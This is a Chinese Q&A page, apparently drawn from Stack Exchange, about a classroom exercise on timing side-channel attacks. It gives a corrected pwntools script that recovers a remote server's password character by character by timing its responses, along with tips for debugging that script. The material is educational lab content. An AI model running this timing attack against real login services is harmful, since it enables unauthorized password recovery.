如何用Python pwn工具解决侧信道攻击实训问题并调试脚本
问题
我正在完成一项课堂实训任务,需通过远程服务器获取密码,目标是使用Python pwn库。当我用nc IP port连接服务器时,输出如下:
[0000014075] Initializing the exercice...
[0001678255] Looking for a door...
[0001990325] Trying to unlock the door...
^ _ ^ Ready for the challenge ? _
Answer :
我理解这是侧信道攻击场景,需通过每次交互的时间差获取正确字符以得到完整密码。我编写了对应脚本,但运行后得到奇怪密码:final pass 05010000000000000000000000000000000000000000000000,验证失败。请问如何获取正确密码?是否是时间差计算有问题?有哪些脚本调试思路?
脚本代码:
import time from pwn import * conn = remote('URL', port) def determine_character(duration) -> str: chars = "0123456789ABCDEFGHIJKLMNOPQRSTWXYZabcdefghijklmnopqrstuvwyz" return chars[int(duration * 10 / 3)] final_pass = "" supposedLength = 50; for i in range (supposedLength): conn.sendline("test") start = time.time() conn.sendline("a") conn.recvline() stop = time.time() print (current_time2) duration = (stop - start) real_pass = determine_character(duration) print (real_pass) final_pass += str(real_pass) print ("final pass {} : ". format(final_pass)) print (conn.recvline()) for i in range (supposedLength): conn.sendline(final_pass[i]) print(conn.recvline())
解决方案
核心问题分析
1. 时间差计算逻辑完全错误
你的determine_character函数用固定公式换算字符的做法毫无依据。侧信道攻击的核心是:正确字符的交互耗时会明显长于错误字符——服务器会逐个比对输入字符,当输入正确字符时,会多执行一轮后续比对逻辑(或触发延迟),所以正确字符的耗时是所有候选里的峰值,不是靠公式硬算。
2. 交互逻辑混乱
- 循环里先
sendline("test")完全多余,会干扰服务器的交互流程; - 每次只输入单个字符"a",没有基于已破解的正确前缀去验证下一位,不符合侧信道攻击的常规逻辑(应该逐步构建正确前缀,每次验证
前缀+候选字符的耗时); - 代码里存在未定义变量
current_time2,直接会报错,这是基础错误。
正确的脚本思路
- 确定密码长度:输入不同长度的字符串,观察耗时变化,当长度超过真实密码时,耗时会稳定在固定值,以此确定真实长度;
- 逐位破解:对每一位,遍历所有候选字符,输入
已破解前缀+候选字符,记录每个字符的耗时,取耗时最长的作为当前位的正确字符; - 优化时间测量:用
time.perf_counter()代替time.time()(精度更高),多次测量取平均值抵消网络波动。
修改后的示例脚本
import time from pwn import * # 替换为实际服务器地址和端口 conn = remote('IP', port) # 补全原脚本遗漏的字符U chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" password_length = 50 # 若未知长度可先探测 final_pass = "" # 逐位破解 for _ in range(password_length): max_time = 0.0 best_char = '' for c in chars: test_str = final_pass + c # 清空缓冲区避免残留数据干扰计时 conn.clean() # 发送测试字符串并计时 start = time.perf_counter() conn.sendline(test_str) # 接收服务器响应(根据实际情况调整,比如直到出现Answer提示) conn.recvuntil("Answer :") stop = time.perf_counter() elapsed = stop - start print(f"测试 {test_str} -> 耗时 {elapsed:.6f}s") # 记录最长耗时的字符(即正确字符) if elapsed > max_time: max_time = elapsed best_char = c final_pass += best_char print(f"找到当前位字符: {best_char}, 已破解密码: {final_pass}") # 验证最终密码 print(f"最终密码: {final_pass}") conn.clean() conn.sendline(final_pass) print(conn.recvline()) conn.close()
调试思路
- 打印原始耗时数据:先不直接换算字符,把每个候选字符的耗时都打印出来,确认是否存在明显的峰值(正确字符耗时通常是其他字符的数倍);
- 单字符耗时对比:单独测试已知正确/错误字符的耗时差异,确认服务器确实存在时间泄露;
- 排除网络干扰:多次测量同一字符的耗时取平均值,或在本地搭建模拟环境测试脚本;
- 检查交互流程:用
conn.recv()/conn.recvline()确认每次发送后服务器的响应是否符合预期,避免因接收不完整导致计时错误; - 探测密码长度:输入不同长度的字符串,当长度超过真实密码时,耗时不再增加,以此确定真实长度。
内容的提问来源于stack exchange,提问作者Julien
相关产品推荐
相关产品推荐

